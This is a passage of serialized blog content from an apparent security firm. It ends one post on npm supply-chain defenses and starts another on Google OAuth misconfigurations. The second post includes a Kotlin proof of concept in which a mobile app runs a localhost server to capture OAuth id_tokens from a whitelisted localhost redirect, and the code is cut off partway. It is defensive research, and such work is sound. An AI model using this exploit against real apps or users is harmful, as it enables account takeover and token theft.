Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":25,"tag":71,"props":100728,"children":100731},{"href":100729,"rel":100730},"https://osec.io/reports/lavamoat_audit_final.pdf",[75],[100732],{"type":31,"value":100733},"see the audit report",{"type":31,"value":3953},{"type":25,"tag":34,"props":100736,"children":100737},{},[100738],{"type":31,"value":100739},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":25,"tag":26,"props":100741,"children":100742},{"id":76881},[100743],{"type":31,"value":76884},{"type":25,"tag":34,"props":100745,"children":100746},{},[100747],{"type":31,"value":100748},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":25,"tag":34,"props":100750,"children":100751},{},[100752,100754,100759],{"type":31,"value":100753},"Version pinning and ",{"type":25,"tag":115,"props":100755,"children":100757},{"className":100756},[],[100758],{"type":31,"value":100195},{"type":31,"value":100760}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":25,"tag":4349,"props":100762,"children":100763},{},[100764],{"type":31,"value":4353},{"title":7,"searchDepth":226,"depth":226,"links":100766},[100767,100770,100771,100780,100781],{"id":98383,"depth":226,"text":98386,"children":100768},[100769],{"id":100018,"depth":278,"text":100021},{"id":100029,"depth":226,"text":100032},{"id":100045,"depth":226,"text":100048,"children":100772},[100773,100775,100777,100779],{"id":100056,"depth":278,"text":100774},"1. Version pinning in package.json",{"id":100186,"depth":278,"text":100776},"2. Use npm ci",{"id":100223,"depth":278,"text":100778},"3. Implement Lavamoat",{"id":100514,"depth":278,"text":100517},{"id":100718,"depth":226,"text":100721},{"id":76881,"depth":226,"text":76884},"content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks",{"_path":100786,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":100787,"description":100788,"date":100789,"author":100790,"image":100791,"isFeatured":17,"onBlogPage":17,"tags":100793,"body":100796,"_type":4371,"_id":103127,"_source":4373,"_file":103128,"_stem":103129,"_extension":4376},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to exploits.","2025-10-16T12:00:00.000Z",[12,11],{"src":100792,"width":98352,"height":15},"/posts/oauth-misconfigurations/title.png",[100794,100795],"oAuth","exchanges",{"type":22,"children":100797,"toc":103114},[100798,100804,100809,100815,100835,100841,100846,100859,100864,100872,100886,100895,100904,100918,100926,100937,100997,101003,101015,101064,101070,101075,101088,101095,101106,101126,101145,101166,101172,101185,101190,101196,101215,101840,101845,101858,102719,102724,102729,102735,102740,102746,102751,102764,102804,102810,102823,102828,102861,102866,102871,102896,102901,102913,103070,103075,103079,103091,103096,103100,103105,103110],{"type":25,"tag":26,"props":100799,"children":100801},{"id":100800},"exploiting-oauth",[100802],{"type":31,"value":100803},"Exploiting OAuth",{"type":25,"tag":34,"props":100805,"children":100806},{},[100807],{"type":31,"value":100808},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":25,"tag":40,"props":100810,"children":100812},{"id":100811},"google-authentication-flows",[100813],{"type":31,"value":100814},"Google Authentication Flows",{"type":25,"tag":34,"props":100816,"children":100817},{},[100818,100820,100826,100828,100833],{"type":31,"value":100819},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":25,"tag":115,"props":100821,"children":100823},{"className":100822},[],[100824],{"type":31,"value":100825},"postMessage",{"type":31,"value":100827}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":25,"tag":115,"props":100829,"children":100831},{"className":100830},[],[100832],{"type":31,"value":70847},{"type":31,"value":100834}," to send the token back to the RP.",{"type":25,"tag":20392,"props":100836,"children":100838},{"id":100837},"gsi-new-flow",[100839],{"type":31,"value":100840},"GSI (New Flow)",{"type":25,"tag":34,"props":100842,"children":100843},{},[100844],{"type":31,"value":100845},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":25,"tag":18183,"props":100847,"children":100848},{},[100849,100854],{"type":25,"tag":6948,"props":100850,"children":100851},{},[100852],{"type":31,"value":100853},"Using FedCM API",{"type":25,"tag":6948,"props":100855,"children":100856},{},[100857],{"type":31,"value":100858},"Without using FedCM API",{"type":25,"tag":34,"props":100860,"children":100861},{},[100862],{"type":31,"value":100863},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":25,"tag":34,"props":100865,"children":100866},{},[100867],{"type":25,"tag":1252,"props":100868,"children":100869},{},[100870],{"type":31,"value":100871},"FedCM Method",{"type":25,"tag":34,"props":100873,"children":100874},{},[100875,100877,100884],{"type":31,"value":100876},"The FedCM method basically follows this ",{"type":25,"tag":71,"props":100878,"children":100881},{"href":100879,"rel":100880},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[75],[100882],{"type":31,"value":100883},"user experience",{"type":31,"value":100885},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":25,"tag":34,"props":100887,"children":100888},{},[100889,100891],{"type":31,"value":100890},"The normal flow, clicking the \"sign in\" button:\n",{"type":25,"tag":127,"props":100892,"children":100894},{"alt":51656,"src":100893},"/posts/oauth-misconfigurations/image1.png",[],{"type":25,"tag":34,"props":100896,"children":100897},{},[100898,100900],{"type":31,"value":100899},"One-Tap popup shown when you open the page:\n",{"type":25,"tag":127,"props":100901,"children":100903},{"alt":51656,"src":100902},"/posts/oauth-misconfigurations/image2.png",[],{"type":25,"tag":34,"props":100905,"children":100906},{},[100907,100909,100916],{"type":31,"value":100908},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":25,"tag":71,"props":100910,"children":100913},{"href":100911,"rel":100912},"https://github.com/w3c-fedid/FedCM/issues/429",[75],[100914],{"type":31,"value":100915},"FedCM auto-reauthentication",{"type":31,"value":100917},", which has certain preconditions that must be met.",{"type":25,"tag":34,"props":100919,"children":100920},{},[100921],{"type":25,"tag":1252,"props":100922,"children":100923},{},[100924],{"type":31,"value":100925},"Non-FedCM Method",{"type":25,"tag":34,"props":100927,"children":100928},{},[100929,100931,100936],{"type":31,"value":100930},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":25,"tag":115,"props":100932,"children":100934},{"className":100933},[],[100935],{"type":31,"value":100825},{"type":31,"value":5997},{"type":25,"tag":6944,"props":100938,"children":100939},{},[100940,100945,100969,100974,100985],{"type":25,"tag":6948,"props":100941,"children":100942},{},[100943],{"type":31,"value":100944},"The user clicks the sign in button",{"type":25,"tag":6948,"props":100946,"children":100947},{},[100948,100950,100956,100958,100963,100964],{"type":31,"value":100949},"RP opens a popup/iframe to ",{"type":25,"tag":71,"props":100951,"children":100954},{"href":100952,"rel":100953},"https://accounts.google.com/o/oauth2/v2/auth",[75],[100955],{"type":31,"value":100952},{"type":31,"value":100957}," with some important parameters like ",{"type":25,"tag":115,"props":100959,"children":100961},{"className":100960},[],[100962],{"type":31,"value":70679},{"type":31,"value":12493},{"type":25,"tag":115,"props":100965,"children":100967},{"className":100966},[],[100968],{"type":31,"value":41206},{"type":25,"tag":6948,"props":100970,"children":100971},{},[100972],{"type":31,"value":100973},"The user clicks the \"Continue\" button to authorize authentication",{"type":25,"tag":6948,"props":100975,"children":100976},{},[100977,100979],{"type":31,"value":100978},"They get redirected to ",{"type":25,"tag":71,"props":100980,"children":100983},{"href":100981,"rel":100982},"https://accounts.google.com/gsi/transform",[75],[100984],{"type":31,"value":100981},{"type":25,"tag":6948,"props":100986,"children":100987},{},[100988,100990,100995],{"type":31,"value":100989},"/gsi/transform sends the token back to the RP via ",{"type":25,"tag":115,"props":100991,"children":100993},{"className":100992},[],[100994],{"type":31,"value":100825},{"type":31,"value":100996}," (after some SYN/ACK messages)",{"type":25,"tag":20392,"props":100998,"children":101000},{"id":100999},"oauth-20-old-flow",[101001],{"type":31,"value":101002},"OAuth 2.0 Old Flow",{"type":25,"tag":34,"props":101004,"children":101005},{},[101006,101008,101013],{"type":31,"value":101007},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":25,"tag":115,"props":101009,"children":101011},{"className":101010},[],[101012],{"type":31,"value":70847},{"type":31,"value":101014}," provided in the URL and validated by a whitelist configuration:",{"type":25,"tag":6944,"props":101016,"children":101017},{},[101018,101022,101043,101047],{"type":25,"tag":6948,"props":101019,"children":101020},{},[101021],{"type":31,"value":100944},{"type":25,"tag":6948,"props":101023,"children":101024},{},[101025,101026,101031,101032,101037,101038],{"type":31,"value":100949},{"type":25,"tag":71,"props":101027,"children":101029},{"href":100952,"rel":101028},[75],[101030],{"type":31,"value":100952},{"type":31,"value":100957},{"type":25,"tag":115,"props":101033,"children":101035},{"className":101034},[],[101036],{"type":31,"value":70679},{"type":31,"value":12493},{"type":25,"tag":115,"props":101039,"children":101041},{"className":101040},[],[101042],{"type":31,"value":70847},{"type":25,"tag":6948,"props":101044,"children":101045},{},[101046],{"type":31,"value":100973},{"type":25,"tag":6948,"props":101048,"children":101049},{},[101050,101051,101056,101058],{"type":31,"value":100978},{"type":25,"tag":115,"props":101052,"children":101054},{"className":101053},[],[101055],{"type":31,"value":70847},{"type":31,"value":101057}," with the token in the query parameters or ",{"type":25,"tag":115,"props":101059,"children":101061},{"className":101060},[],[101062],{"type":31,"value":101063},"location.hash",{"type":25,"tag":20392,"props":101065,"children":101067},{"id":101066},"different-configurations",[101068],{"type":31,"value":101069},"Different Configurations",{"type":25,"tag":34,"props":101071,"children":101072},{},[101073],{"type":31,"value":101074},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":25,"tag":18183,"props":101076,"children":101077},{},[101078,101083],{"type":25,"tag":6948,"props":101079,"children":101080},{},[101081],{"type":31,"value":101082},"Authorized origins",{"type":25,"tag":6948,"props":101084,"children":101085},{},[101086],{"type":31,"value":101087},"Authorized redirect URIs",{"type":25,"tag":34,"props":101089,"children":101090},{},[101091],{"type":25,"tag":127,"props":101092,"children":101094},{"alt":51656,"src":101093},"/posts/oauth-misconfigurations/image3.png",[],{"type":25,"tag":34,"props":101096,"children":101097},{},[101098,101100,101105],{"type":31,"value":101099},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":25,"tag":115,"props":101101,"children":101103},{"className":101102},[],[101104],{"type":31,"value":70679},{"type":31,"value":80},{"type":25,"tag":34,"props":101107,"children":101108},{},[101109,101111,101117,101119,101124],{"type":31,"value":101110},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":25,"tag":115,"props":101112,"children":101114},{"className":101113},[],[101115],{"type":31,"value":101116},"/oauth2/v2/auth",{"type":31,"value":101118}," by checking the ",{"type":25,"tag":115,"props":101120,"children":101122},{"className":101121},[],[101123],{"type":31,"value":41206},{"type":31,"value":101125}," query parameter.",{"type":25,"tag":34,"props":101127,"children":101128},{},[101129,101131,101136,101138,101143],{"type":31,"value":101130},"In the old flow, the ",{"type":25,"tag":115,"props":101132,"children":101134},{"className":101133},[],[101135],{"type":31,"value":70847},{"type":31,"value":101137}," parameter passed in the ",{"type":25,"tag":115,"props":101139,"children":101141},{"className":101140},[],[101142],{"type":31,"value":101116},{"type":31,"value":101144}," endpoint is validated against the authorized redirect URIs.",{"type":25,"tag":34,"props":101146,"children":101147},{},[101148,101150,101155,101157,101164],{"type":31,"value":101149},"Note that the new GSI flow can also have a different flow using ",{"type":25,"tag":115,"props":101151,"children":101153},{"className":101152},[],[101154],{"type":31,"value":70847},{"type":31,"value":101156}," validation. To execute this flow, you need to specify ",{"type":25,"tag":71,"props":101158,"children":101161},{"href":101159,"rel":101160},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[75],[101162],{"type":31,"value":101163},"login_uri",{"type":31,"value":101165}," while using the SDK.",{"type":25,"tag":40,"props":101167,"children":101169},{"id":101168},"localhost-exploit",[101170],{"type":31,"value":101171},"Localhost Exploit",{"type":25,"tag":34,"props":101173,"children":101174},{},[101175,101177,101183],{"type":31,"value":101176},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":25,"tag":115,"props":101178,"children":101180},{"className":101179},[],[101181],{"type":31,"value":101182},"localhost",{"type":31,"value":101184}," origin because it is considered trusted for local testing.",{"type":25,"tag":34,"props":101186,"children":101187},{},[101188],{"type":31,"value":101189},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":25,"tag":20392,"props":101191,"children":101193},{"id":101192},"exploit",[101194],{"type":31,"value":101195},"Exploit",{"type":25,"tag":34,"props":101197,"children":101198},{},[101199,101201,101206,101207,101213],{"type":31,"value":101200},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":25,"tag":115,"props":101202,"children":101204},{"className":101203},[],[101205],{"type":31,"value":101063},{"type":31,"value":14636},{"type":25,"tag":115,"props":101208,"children":101210},{"className":101209},[],[101211],{"type":31,"value":101212},"location.search",{"type":31,"value":101214},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":25,"tag":191,"props":101216,"children":101220},{"className":101217,"code":101218,"language":101219,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.hash;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n","kt",[101221],{"type":25,"tag":115,"props":101222,"children":101223},{"__ignoreMap":7},[101224,101253,101272,101279,101286,101305,101316,101327,101358,101381,101428,101435,101442,101449,101456,101476,101507,101518,101525,101532,101551,101574,101585,101604,101619,101630,101653,101688,101707,101714,101725,101748,101759,101771,101778,101785,101792,101799,101806,101833],{"type":25,"tag":201,"props":101225,"children":101226},{"class":203,"line":204},[101227,101232,101236,101240,101244,101248],{"type":25,"tag":201,"props":101228,"children":101229},{"style":208},[101230],{"type":31,"value":101231}," override",{"type":25,"tag":201,"props":101233,"children":101234},{"style":208},[101235],{"type":31,"value":7715},{"type":25,"tag":201,"props":101237,"children":101238},{"style":214},[101239],{"type":31,"value":71535},{"type":25,"tag":201,"props":101241,"children":101242},{"style":220},[101243],{"type":31,"value":71540},{"type":25,"tag":201,"props":101245,"children":101246},{"style":4925},[101247],{"type":31,"value":71545},{"type":25,"tag":201,"props":101249,"children":101250},{"style":220},[101251],{"type":31,"value":101252},"?){\n",{"type":25,"tag":201,"props":101254,"children":101255},{"class":203,"line":226},[101256,101260,101264,101268],{"type":25,"tag":201,"props":101257,"children":101258},{"style":208},[101259],{"type":31,"value":71558},{"type":25,"tag":201,"props":101261,"children":101262},{"style":220},[101263],{"type":31,"value":80},{"type":25,"tag":201,"props":101265,"children":101266},{"style":214},[101267],{"type":31,"value":71567},{"type":25,"tag":201,"props":101269,"children":101270},{"style":220},[101271],{"type":31,"value":71572},{"type":25,"tag":201,"props":101273,"children":101274},{"class":203,"line":278},[101275],{"type":25,"tag":201,"props":101276,"children":101277},{"emptyLinePlaceholder":17},[101278],{"type":31,"value":496},{"type":25,"tag":201,"props":101280,"children":101281},{"class":203,"line":311},[101282],{"type":25,"tag":201,"props":101283,"children":101284},{"style":4497},[101285],{"type":31,"value":71587},{"type":25,"tag":201,"props":101287,"children":101288},{"class":203,"line":330},[101289,101293,101297,101301],{"type":25,"tag":201,"props":101290,"children":101291},{"style":214},[101292],{"type":31,"value":71595},{"type":25,"tag":201,"props":101294,"children":101295},{"style":220},[101296],{"type":31,"value":71600},{"type":25,"tag":201,"props":101298,"children":101299},{"style":214},[101300],{"type":31,"value":71605},{"type":25,"tag":201,"props":101302,"children":101303},{"style":220},[101304],{"type":31,"value":327},{"type":25,"tag":201,"props":101306,"children":101307},{"class":203,"line":397},[101308,101312],{"type":25,"tag":201,"props":101309,"children":101310},{"style":230},[101311],{"type":31,"value":71617},{"type":25,"tag":201,"props":101313,"children":101314},{"style":220},[101315],{"type":31,"value":327},{"type":25,"tag":201,"props":101317,"children":101318},{"class":203,"line":437},[101319,101323],{"type":25,"tag":201,"props":101320,"children":101321},{"style":214},[101322],{"type":31,"value":71629},{"type":25,"tag":201,"props":101324,"children":101325},{"style":220},[101326],{"type":31,"value":1882},{"type":25,"tag":201,"props":101328,"children":101329},{"class":203,"line":464},[101330,101334,101338,101342,101346,101350,101354],{"type":25,"tag":201,"props":101331,"children":101332},{"style":220},[101333],{"type":31,"value":71641},{"type":25,"tag":201,"props":101335,"children":101336},{"style":214},[101337],{"type":31,"value":71646},{"type":25,"tag":201,"props":101339,"children":101340},{"style":220},[101341],{"type":31,"value":298},{"type":25,"tag":201,"props":101343,"children":101344},{"style":267},[101345],{"type":31,"value":71655},{"type":25,"tag":201,"props":101347,"children":101348},{"style":220},[101349],{"type":31,"value":919},{"type":25,"tag":201,"props":101351,"children":101352},{"style":267},[101353],{"type":31,"value":71664},{"type":25,"tag":201,"props":101355,"children":101356},{"style":220},[101357],{"type":31,"value":4666},{"type":25,"tag":201,"props":101359,"children":101360},{"class":203,"line":490},[101361,101365,101369,101373,101377],{"type":25,"tag":201,"props":101362,"children":101363},{"style":220},[101364],{"type":31,"value":71676},{"type":25,"tag":201,"props":101366,"children":101367},{"style":208},[101368],{"type":31,"value":49488},{"type":25,"tag":201,"props":101370,"children":101371},{"style":220},[101372],{"type":31,"value":71685},{"type":25,"tag":201,"props":101374,"children":101375},{"style":4925},[101376],{"type":31,"value":71690},{"type":25,"tag":201,"props":101378,"children":101379},{"style":220},[101380],{"type":31,"value":275},{"type":25,"tag":201,"props":101382,"children":101383},{"class":203,"line":499},[101384,101388,101392,101396,101400,101404,101408,101412,101416,101420,101424],{"type":25,"tag":201,"props":101385,"children":101386},{"style":220},[101387],{"type":31,"value":71641},{"type":25,"tag":201,"props":101389,"children":101390},{"style":214},[101391],{"type":31,"value":52532},{"type":25,"tag":201,"props":101393,"children":101394},{"style":220},[101395],{"type":31,"value":298},{"type":25,"tag":201,"props":101397,"children":101398},{"style":267},[101399],{"type":31,"value":71655},{"type":25,"tag":201,"props":101401,"children":101402},{"style":220},[101403],{"type":31,"value":919},{"type":25,"tag":201,"props":101405,"children":101406},{"style":267},[101407],{"type":31,"value":71722},{"type":25,"tag":201,"props":101409,"children":101410},{"style":208},[101411],{"type":31,"value":3045},{"type":25,"tag":201,"props":101413,"children":101414},{"style":261},[101415],{"type":31,"value":71731},{"type":25,"tag":201,"props":101417,"children":101418},{"style":208},[101419],{"type":31,"value":3078},{"type":25,"tag":201,"props":101421,"children":101422},{"style":267},[101423],{"type":31,"value":1557},{"type":25,"tag":201,"props":101425,"children":101426},{"style":220},[101427],{"type":31,"value":71744},{"type":25,"tag":201,"props":101429,"children":101430},{"class":203,"line":522},[101431],{"type":25,"tag":201,"props":101432,"children":101433},{"style":220},[101434],{"type":31,"value":59964},{"type":25,"tag":201,"props":101436,"children":101437},{"class":203,"line":531},[101438],{"type":25,"tag":201,"props":101439,"children":101440},{"style":220},[101441],{"type":31,"value":4853},{"type":25,"tag":201,"props":101443,"children":101444},{"class":203,"line":550},[101445],{"type":25,"tag":201,"props":101446,"children":101447},{"emptyLinePlaceholder":17},[101448],{"type":31,"value":496},{"type":25,"tag":201,"props":101450,"children":101451},{"class":203,"line":563},[101452],{"type":25,"tag":201,"props":101453,"children":101454},{"style":4497},[101455],{"type":31,"value":71773},{"type":25,"tag":201,"props":101457,"children":101458},{"class":203,"line":572},[101459,101463,101467,101471],{"type":25,"tag":201,"props":101460,"children":101461},{"style":208},[101462],{"type":31,"value":71781},{"type":25,"tag":201,"props":101464,"children":101465},{"style":220},[101466],{"type":31,"value":71786},{"type":25,"tag":201,"props":101468,"children":101469},{"style":261},[101470],{"type":31,"value":1383},{"type":25,"tag":201,"props":101472,"children":101473},{"style":267},[101474],{"type":31,"value":101475}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":25,"tag":201,"props":101477,"children":101478},{"class":203,"line":590},[101479,101483,101487,101491,101495,101499,101503],{"type":25,"tag":201,"props":101480,"children":101481},{"style":208},[101482],{"type":31,"value":71781},{"type":25,"tag":201,"props":101484,"children":101485},{"style":220},[101486],{"type":31,"value":71807},{"type":25,"tag":201,"props":101488,"children":101489},{"style":261},[101490],{"type":31,"value":1383},{"type":25,"tag":201,"props":101492,"children":101493},{"style":214},[101494],{"type":31,"value":71816},{"type":25,"tag":201,"props":101496,"children":101497},{"style":220},[101498],{"type":31,"value":71821},{"type":25,"tag":201,"props":101500,"children":101501},{"style":214},[101502],{"type":31,"value":40282},{"type":25,"tag":201,"props":101504,"children":101505},{"style":220},[101506],{"type":31,"value":71830},{"type":25,"tag":201,"props":101508,"children":101509},{"class":203,"line":608},[101510,101514],{"type":25,"tag":201,"props":101511,"children":101512},{"style":214},[101513],{"type":31,"value":71838},{"type":25,"tag":201,"props":101515,"children":101516},{"style":220},[101517],{"type":31,"value":71843},{"type":25,"tag":201,"props":101519,"children":101520},{"class":203,"line":617},[101521],{"type":25,"tag":201,"props":101522,"children":101523},{"style":220},[101524],{"type":31,"value":4861},{"type":25,"tag":201,"props":101526,"children":101527},{"class":203,"line":625},[101528],{"type":25,"tag":201,"props":101529,"children":101530},{"emptyLinePlaceholder":17},[101531],{"type":31,"value":496},{"type":25,"tag":201,"props":101533,"children":101534},{"class":203,"line":642},[101535,101539,101543,101547],{"type":25,"tag":201,"props":101536,"children":101537},{"style":208},[101538],{"type":31,"value":71865},{"type":25,"tag":201,"props":101540,"children":101541},{"style":208},[101542],{"type":31,"value":7715},{"type":25,"tag":201,"props":101544,"children":101545},{"style":214},[101546],{"type":31,"value":71874},{"type":25,"tag":201,"props":101548,"children":101549},{"style":220},[101550],{"type":31,"value":223},{"type":25,"tag":201,"props":101552,"children":101553},{"class":203,"line":659},[101554,101558,101562,101566,101570],{"type":25,"tag":201,"props":101555,"children":101556},{"style":214},[101557],{"type":31,"value":71886},{"type":25,"tag":201,"props":101559,"children":101560},{"style":220},[101561],{"type":31,"value":71891},{"type":25,"tag":201,"props":101563,"children":101564},{"style":261},[101565],{"type":31,"value":1383},{"type":25,"tag":201,"props":101567,"children":101568},{"style":426},[101569],{"type":31,"value":71900},{"type":25,"tag":201,"props":101571,"children":101572},{"style":220},[101573],{"type":31,"value":275},{"type":25,"tag":201,"props":101575,"children":101576},{"class":203,"line":667},[101577,101581],{"type":25,"tag":201,"props":101578,"children":101579},{"style":214},[101580],{"type":31,"value":71912},{"type":25,"tag":201,"props":101582,"children":101583},{"style":220},[101584],{"type":31,"value":327},{"type":25,"tag":201,"props":101586,"children":101587},{"class":203,"line":676},[101588,101592,101596,101600],{"type":25,"tag":201,"props":101589,"children":101590},{"style":208},[101591],{"type":31,"value":71924},{"type":25,"tag":201,"props":101593,"children":101594},{"style":220},[101595],{"type":31,"value":298},{"type":25,"tag":201,"props":101597,"children":101598},{"style":267},[101599],{"type":31,"value":71933},{"type":25,"tag":201,"props":101601,"children":101602},{"style":220},[101603],{"type":31,"value":275},{"type":25,"tag":201,"props":101605,"children":101606},{"class":203,"line":694},[101607,101611,101615],{"type":25,"tag":201,"props":101608,"children":101609},{"style":220},[101610],{"type":31,"value":71945},{"type":25,"tag":201,"props":101612,"children":101613},{"style":214},[101614],{"type":31,"value":71950},{"type":25,"tag":201,"props":101616,"children":101617},{"style":220},[101618],{"type":31,"value":327},{"type":25,"tag":201,"props":101620,"children":101621},{"class":203,"line":707},[101622,101626],{"type":25,"tag":201,"props":101623,"children":101624},{"style":214},[101625],{"type":31,"value":71962},{"type":25,"tag":201,"props":101627,"children":101628},{"style":220},[101629],{"type":31,"value":327},{"type":25,"tag":201,"props":101631,"children":101632},{"class":203,"line":715},[101633,101637,101641,101645,101649],{"type":25,"tag":201,"props":101634,"children":101635},{"style":214},[101636],{"type":31,"value":71974},{"type":25,"tag":201,"props":101638,"children":101639},{"style":220},[101640],{"type":31,"value":71979},{"type":25,"tag":201,"props":101642,"children":101643},{"style":261},[101644],{"type":31,"value":1383},{"type":25,"tag":201,"props":101646,"children":101647},{"style":267},[101648],{"type":31,"value":71988},{"type":25,"tag":201,"props":101650,"children":101651},{"style":220},[101652],{"type":31,"value":4666},{"type":25,"tag":201,"props":101654,"children":101655},{"class":203,"line":732},[101656,101660,101664,101668,101672,101676,101680,101684],{"type":25,"tag":201,"props":101657,"children":101658},{"style":214},[101659],{"type":31,"value":71974},{"type":25,"tag":201,"props":101661,"children":101662},{"style":220},[101663],{"type":31,"value":72004},{"type":25,"tag":201,"props":101665,"children":101666},{"style":261},[101667],{"type":31,"value":1383},{"type":25,"tag":201,"props":101669,"children":101670},{"style":267},[101671],{"type":31,"value":72013},{"type":25,"tag":201,"props":101673,"children":101674},{"style":220},[101675],{"type":31,"value":72018},{"type":25,"tag":201,"props":101677,"children":101678},{"style":261},[101679],{"type":31,"value":1383},{"type":25,"tag":201,"props":101681,"children":101682},{"style":267},[101683],{"type":31,"value":72027},{"type":25,"tag":201,"props":101685,"children":101686},{"style":220},[101687],{"type":31,"value":4666},{"type":25,"tag":201,"props":101689,"children":101690},{"class":203,"line":749},[101691,101695,101699,101703],{"type":25,"tag":201,"props":101692,"children":101693},{"style":214},[101694],{"type":31,"value":72039},{"type":25,"tag":201,"props":101696,"children":101697},{"style":220},[101698],{"type":31,"value":298},{"type":25,"tag":201,"props":101700,"children":101701},{"style":267},[101702],{"type":31,"value":72048},{"type":25,"tag":201,"props":101704,"children":101705},{"style":220},[101706],{"type":31,"value":4666},{"type":25,"tag":201,"props":101708,"children":101709},{"class":203,"line":757},[101710],{"type":25,"tag":201,"props":101711,"children":101712},{"style":220},[101713],{"type":31,"value":72060},{"type":25,"tag":201,"props":101715,"children":101716},{"class":203,"line":765},[101717,101721],{"type":25,"tag":201,"props":101718,"children":101719},{"style":214},[101720],{"type":31,"value":72068},{"type":25,"tag":201,"props":101722,"children":101723},{"style":220},[101724],{"type":31,"value":327},{"type":25,"tag":201,"props":101726,"children":101727},{"class":203,"line":783},[101728,101732,101736,101740,101744],{"type":25,"tag":201,"props":101729,"children":101730},{"style":214},[101731],{"type":31,"value":72080},{"type":25,"tag":201,"props":101733,"children":101734},{"style":220},[101735],{"type":31,"value":11090},{"type":25,"tag":201,"props":101737,"children":101738},{"style":261},[101739],{"type":31,"value":5886},{"type":25,"tag":201,"props":101741,"children":101742},{"style":267},[101743],{"type":31,"value":72093},{"type":25,"tag":201,"props":101745,"children":101746},{"style":220},[101747],{"type":31,"value":11100},{"type":25,"tag":201,"props":101749,"children":101750},{"class":203,"line":792},[101751,101755],{"type":25,"tag":201,"props":101752,"children":101753},{"style":214},[101754],{"type":31,"value":72105},{"type":25,"tag":201,"props":101756,"children":101757},{"style":220},[101758],{"type":31,"value":327},{"type":25,"tag":201,"props":101760,"children":101761},{"class":203,"line":801},[101762,101766],{"type":25,"tag":201,"props":101763,"children":101764},{"style":261},[101765],{"type":31,"value":72117},{"type":25,"tag":201,"props":101767,"children":101768},{"style":267},[101769],{"type":31,"value":101770},"\"document.body.innerText = 